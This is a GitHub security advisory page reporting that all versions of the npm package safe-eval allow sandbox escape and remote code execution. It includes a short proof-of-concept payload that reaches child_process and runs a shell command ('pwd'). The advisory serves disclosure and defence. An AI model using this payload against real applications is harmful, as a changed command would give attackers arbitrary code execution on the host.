Skip to content

Sandbox Breakout / Arbitrary Code Execution in safe-eval

High severity GitHub Reviewed Published Sep 3, 2020 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm safe-eval (npm)

Affected versions

>= 0.0.0

Patched versions

None

Description

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.

For example, the payload

((() => { 
const targetKey = Object.keys(this)[0]; 
Object.defineProperty(this, targetKey, { 
get: function() { 
return arguments.callee.caller.constructor( 
"return global.process.mainModule.require('child_process').execSync('pwd').toString()" 
)(); 
} 
}); 
})();```
may be used to print the `pwd` to the console.


## Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.
### References
- https://www.npmjs.com/advisories/1033
Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 3, 2020
Last updated Jan 9, 2023

Severity

High

Weaknesses

No CWEs

CVE ID

No known CVE

GHSA ID

GHSA-9pcf-h8q9-63f6

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.